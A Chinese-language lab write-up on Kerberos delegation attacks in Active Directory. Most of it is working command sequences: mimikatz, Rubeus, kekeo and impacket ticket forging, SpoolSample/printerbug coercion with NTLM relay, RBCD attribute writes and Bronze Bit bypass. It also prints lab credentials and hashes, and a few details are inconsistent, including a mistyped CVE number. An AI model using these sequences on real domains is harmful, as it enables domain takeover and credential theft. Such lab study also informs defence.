内网渗透-域渗透之委派攻击

前置知识

在介绍委派之前需要了解Kerberos认证,在前面白银票据和黄金票据哪已经学习过了,这里就简单说一下

委派,委托嘛,就是张三委托小明去做一件事:张三委托小明去拿个快递,委托小明去买水果…

在Kerberos认证系统里,也就是张三委托Web系统,让WEB系统去访问文件系统,去访问图片系统等等,是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事,危害就是攻击者可以利用委派功能结合其他漏洞进行组合攻击,从而获取本地管理员权限甚至域管理员权限。

image-20250328160545558

委派

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)。

委派包含三种方式:

  • 非约束委派(Unconstrained Delegation, UD)
  • 约束委派(Constrained Delegation, CD)
  • 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

非约束性委派

非约束性委派允许某个服务器或服务代表任何用户访问其他服务。这意味着当某用户访问一个配置了非约束性委派的服务器时,服务器可以获取并缓存用户的TGT,并使用它来请求其他服务的票据。这个TGT是用户的核心身份验证凭证,一旦获取,几乎可以代表该用户在Kerberos域内执行任何操作。

真啰嗦,就是对委托的对象没有做任何的限制。如果黑客控制了web系统,那他可以在不知情的情况下访问域内的所有主机/服务,非常危险。

###环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
域名: q1ngchuan.lab
域控:
操作系统: Windows Server 2016
主机名: DC2016
IP: 192.168.102.138
Administrator/123456Aa@
域内主机:
操作系统: Windows 10
主机名: WIN2
IP: 192.168.102.141
用户qingchuan/615483zxc!
admin654321qwe@
攻击机:
操作系统: kali Liux
IP: 192.168.102.130

将win2机器委派属性设置为”新人此计算机来委派任何服务(仅Kerberos)”

image-20250328163323578

AdFind侦查发现

1
2
3
4
# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

image-20250329121757025

可以发现WIN2机器配置了非约束性委派,并且WIN2可控,所以可以尝试利用非约束性委派获取机器权限

攻击利用1:诱使域管理员访问机器

当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN2主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
利用条件:

  1. 需要Administrator权限
  2. 域内主机的机器账户开启非约束委派
  3. 域控管理员远程访问

假设域控管理员DC2016执行:

1
net use \\WIN2.q1ngchuan.lab

image-20250329121815803

使用域内机器,导出票据,执行攻击

1
2
# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

image-20250329121959833

导出了一堆域控,在其中发现了我们想要的票据

尝试连接域控

1
dir \\DC2016.q1ngchuan.lab\c$

image-20250328172517863

导入票据

1
2
3
mimikatz.exe  "privilege::debug"  "kerberos::ptt [0;42d3c2]-2-0-60a10000-Administrator@krbtgt-Q1NGCHUAN.LAB.kirbi" "exit"

dir \\DC2016.q1ngchuan.lab\c$

image-20250329003521048

攻击利用2:强制访问漏洞利用

利用条件

  • 需要管理员权限
1
Rubeus.exe monitor /interval:2 /filteruser:DC2016$

image-20250329162640268

域控执行

1
spoolsample.exe DC2016 WIN2

image-20250329162626762

然后和上面一样 导入票据

先用脚本处理一下票据

1
2
3
4
5
6
7
8
9
data =''
with open("1.txt") as fp1:
for line in fp1:
data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
fp2.write(data)

print(data)
1
2
3
mimikatz.exe "kerberos::list"
kerberos::purge
Rubeus.exe ptt /ticket:获取到的票据

image-20250329163859937

1
mimikatz.exe "lsadump::dcsync /domain:q1ngchuan.lab /user:Q1NGCHUAN0\Administrator" "exit"

image-20250329164005601

拿到 hash 397cb3952d50a1e29ee3308179c0ff81

1
python3 wmiexec.py -hashes :397cb3952d50a1e29ee3308179c0ff81 q1ngchuan.lab/administrator@DC2016.q1ngchuan.lab -no-pass

image-20250329164515604

约束性委派

约束委派是为了解决非约束委派的安全问题而引入的。在约束委派中,服务账户只能获取特定用户的TGT,并只能模拟该用户访问指定的服务。攻击者需要找到配置了约束委派的服务账户,并确定该账户可以访问的特定服务和用户。
通过利用S4U(Service for User to Self/Proxy)扩展,攻击者可以代表特定用户请求访问指定服务的票据,并模拟该用户执行操作。

S4U2self

允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。

S4U2proxy

允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。

环境搭建

选择“信任此计算机来委派指定的服务” - “使用任何身份验证协议”,在下面选择DC的cifs或者ldap服务即可

image-20250329171431643

ADFind侦查发现

1
2
3
4
5
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20250329171544067

攻击利用1

条件

administrator权限

获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

image-20250329172515196

先测试可以不可以通

image-20250329173026788

当然不ok

导入票据

1
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN2$@krbtgt-Q1NGCHUAN.LAB.kirbi /user:Administrator@q1ngchuan.lab /service:cifs/DC2016.q1ngchuan.lab" "exit"

导入后成功

image-20250329172717220

攻击利用2

使用机器账户的hash

先获取机器账户的hash

image-20250329173142717

1
0e575db5591144d63fdec053f126a82f

制作票据

1
kekeo.exe "tgt::ask /user:WIN2$ /domain:q1ngchuan.lab /NTLM:0e575db5591144d63fdec053f126a82f" "exit"

image-20250329173329012

1
2
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WIN2$@Q1NGCHUAN.LAB_krbtgt~q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi /user:Administrator@q1ngchuan.lab /service:cifs/DC2016.q1ngchuan.lab" "exit"

image-20250329173443478

1
mimikatz.exe "kerberos::ptt TGS_Administrator@q1ngchuan.lab@Q1NGCHUAN.LAB_cifs~DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi" "exit"
1
dir \\DC2016.q1ngchuan.top\c$

image-20250329173613629

攻击利用3

用机器账户的hash 远程wmiexec登录

利用之前获取到的hash

1
0e575db5591144d63fdec053f126a82f
1
python3 getST.py -dc-ip 192.168.102.138 -spn CIFS/DC2016.q1ngchuan.lab -impersonate administrator q1ngchuan.lab/WIN2$ -hashes :0e575db5591144d63fdec053f126a82f

记得加hosts

1
2
3
192.168.102.138 DC2016.q1ngchuan.lab

python3 secretsdump.py -hashes :0e575db5591144d63fdec053f126a82f 'q1ngchuan.lab/DC2016$@192.168.102.138'

image-20250329184949043

1
export KRB5CCNAME=administrator@CIFS_DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache

横向移动到域控

1
python3 wmiexec.py -k q1ngchuan.lab/administrator@DC2016.q1ngchuan.lab -no-pass -dc-ip 192.168.102.138

image-20250329185706610

攻击利用4

利用条件

  • 获取管理员权限
  • 被控机器设置了约束性委派
  • 可获取被控机器账户哈希

利用哈希(或密码)申请票据,而不是直接导出

1
kekeo.exe "tgt::ask /user:WIN2$ /domain:q1ngchuan.lab /NTLM:0e575db5591144d63fdec053f126a82f" "exit"

image-20250329190036321

然后伪造其他用户 申请TGS票据

1
kekeo.exe "tgs::s4u /tgt:TGT_WIN2$@Q1NGCHUAN.LAB_krbtgt~q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi /user:Administrator@q1ngchuan.lab /service:cifs/DC2016.q1ngchuan.lab" "exit"

image-20250329190147223导入票据

1
mimikatz.exe "kerberos::ptt TGS_Administrator@q1ngchuan.lab@Q1NGCHUAN.LAB_cifs~DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi" "exit"

image-20250329190359248

1
dir \\DC2016.q1ngchuan.lab\c$

image-20250329190429857

基于资源的约束性委派

基于资源的约束委派是另一种形式的委派,它允许服务账户直接请求访问特定资源的票据,而无需通过KDC(Key Distribution Center)进行额外的票据授予服务(TGS)请求。在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中。
攻击者需要找到配置了基于资源的约束委派的服务和资源,并确定它们之间的依赖关系。
通过直接请求访问资源的票据,攻击者可以绕过正常的认证流程,获取对敏感资源的访问权限。

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性:

  • 将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
  • Account Operator组成员
  • 该主机的机器账户

什么是将机器加入域的域用户?

因为将一个机器加入域的时候不是要输入一个域用户的账户密码吗 就是输入的这个用户

如果一个域环境 域用户A 将域内win2012 和 win7 加入了域 我们拿到了域用户A的权限 就可以拿下win2012 和 win7,如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性)

使用普通域用户hack将计算机加入到域环境中

默认情况下,并非只有域管理员才有将普通用户加入域的权限。域中每一个普通帐号都有将10台电脑加入域的权限。

新建一个加域的普通域用户hack

image-20250330184849392

将之前加入域的计算机退出域,然后再修改计算机名 (因为域中已经有了一个WIN2用户,所以要修改一下计算机名),再加入域,输入新建的域账号hack

侦查发现将机器加入域的域用户

查看将机器加入域的用户的sid,再通过sid反查出对应的用户名

1
2
AdFind.exe -h 192.168.102.138 -b "DC=q1ngchuan,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

image-20250329235931215

image-20250329235948509

攻击利用1:基于资源的约束委派攻击本地提权

利用条件

  • 拥有当前机器域用户权限
  • 域用户MAQ值不为0

前面拿到SID S-1-5-21-224527955-2611004762-2677198730-1114

(这里在域控机器上登录hack模拟我们拿下该用户机)

反查用户

1
2
3
wmic useraccount get /all | findstr S-1-5-21-224527955-2611004762-2677198730-1114 > 2.txt

AdFind.exe -b "DC=q1ngchuan,DC=lab" -f "(&(objectsid=S-1-5-21-224527955-2611004762-2677198730-1119))" objectclass cn dn

image-20250330000550459

image-20250330001902275

现在条件符合了

https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1

1
2
3
4
5
6
7
8
9
10
11
#设置为可以执行
Set-ExecutionPolicy Bypass -Scope Process
# 导入模块
Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString '123456' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建机器账户
New-MachineAccount -MachineAccount hacker -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

#或者使用impacket脚本创建
python3 addcomputer.py q1ngchuan.lab/WINRBCD:615483zxc! -method LDAPS -computer-name hacker\$ -computer-pass 615483zxc! -dc-ip 192.168.102.138
1
net group "domain computers" /domain

image-20250330004009340

成功创建

利用powerView查询机器账户的sid(也可手动)

1
2
3
4
5
Import-Module .\PowerView.ps1
Get-NetComputer hacker -Properties objectsid


S-1-5-21-224527955-2611004762-2677198730-1123

将本机的msDS-AllowedToActOnBehalfOfOtherIdentity设置为刚刚创建的机器账户

1
import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-224527955-2611004762-2677198730-1123)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WINRBCD| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

image-20250330195221758

检查是否配置成功

1
Get-DomainComputer WINRBCD -Properties msds-allowedtoactonbehalfofotheridentity

image-20250330195237245

利用刚创建的hacker账户去申请WEBRBCD机器的ST票据

1
python3 getST.py -dc-ip 192.168.102.138 q1ngchuan.lab/hacker\$:123456 -spn cifs/WINRBCD.q1ngchuan.lab -impersonate administrator

导入票据

1
2
3
4
5
6
7
8
export KRB5CCNAME=administrator@cifs_WINRBCD.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache 


impacket-smbexec -k q1ngchuan.lab/administrator@WINRBCD.q1ngchuan.lab -no-pass -dc-ip 192.168.102.138

python3 wmiexec.py WINRBCD.q1ngchuan.lab -no-pass -k -dc-ip 192.168.102.138

python3 psexec.py -k q1ngchuan.lab/administrator@WINRBCD.q1ngchuan.lab -no-pass

但是我出现了这个问题。。。。

image-20250330172506795

搜了半天也没发现,GPT搞了半天差点把环境搞坏了,弄了半天才搞回来,奇怪为啥啊。。。。

[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.

嘶~

image-20250330183920429

吆,您猜怎么着,ok了,我又重新搞了一遍

image-20250330195743923

攻击利用2:Acount Operators组用户拿下主机

利用条件

  • 拥有当前机器域用户权限
  • 域用户MAQ值不为0
  • 有多台机器使用同一域用户加入域

将hack加入该组

image-20250330184042394

1
adfind.exe -h 192.168.102.138:139 -s subtree -b CN="Account Operators",CN=Builtin,DC=q1ngchuan,DC=lab member

image-20250330195859665

1
2
3
4
5
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount hack666 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

image-20250330200012217

然后设置委派

先查sid

1
Get-NetComputer hack666 -Properties objectsid

image-20250330200037039

S-1-5-21-224527955-2611004762-2677198730-1124

修改WINRBCD的msds-allowedtoactonbehalfofotheridentity的值

1
2
3
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-224527955-2611004762-2677198730-1124)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WINRBCD| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image-20250330200224303

然后生成票据

1
python3 getST.py -dc-ip 192.168.102.138 q1ngchuan.lab/hack666\$:123456 -spn cifs/WINRBCD.q1ngchuan.lab -impersonate administrator

导入票据

1
2
3
4
5
6
7
8
export KRB5CCNAME=administrator@cifs_WINRBCD.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache 


impacket-smbexec -k q1ngchuan.lab/administrator@WINRBCD.q1ngchuan.lab -no-pass -dc-ip 192.168.102.138

python3 wmiexec.py WINRBCD.q1ngchuan.lab -no-pass -k -dc-ip 192.168.102.138

python3 psexec.py -k q1ngchuan.lab/administrator@WINRBCD.q1ngchuan.lab -no-pass

image-20250330200355937

image-20250330200414323

攻击利用3:结合HTLM Relay接管域控(CVE-2019-1040)

利用条件

  • 能创建机器账户(MAQ不为0)
  • 可以利用强制访问漏洞
  • 一域内用户密码(根据强制漏洞决定)

先在WINRBCD上创建一个机器用户 test 123456

1
2
3
4
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

开启监听

1
python3 ntlmrelayx.py -t ldap://192.168.102.138 -smb2support --remove-mic --delegate-access --escalate-user test\$

image-20250330200902369

然后利用打印机漏洞

1
python3 printerbug.py q1ngchuan.lab/hack:123456Aa\@\@192.168.102.141 192.168.102.138

之后就想同了,申请票据,导入,exec

攻击利用4:利用krbtgt用户的委派打造变种黄金票据

在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持

然后来到域控上操作

在powershell中执行Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$

1
2
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

image-20250330203528380

后面申请票据,smbexec…

域委派防范措施

  • 对于高权限用户,设置为敏感用户,不能被委派
  • 若要设置委派,不设置非约束性委派而是设置约束性委派
  • 可以将敏感用户添加至Protected User组中,该组用户不允许被委派

绕过原理

对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的

详细分析参考:
CVE-2020-17049 Kerberos Bronze Bit攻击深入分析

利用手段

在getST中加上-force-forwardable参数

1
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable 

OHP34I.png

参考文章

https://xz.aliyun.com/news/12189

https://xz.aliyun.com/news/11001

https://bowuchuling.github.io/posts/yushentouweipai.html

https://forum.butian.net/share/1591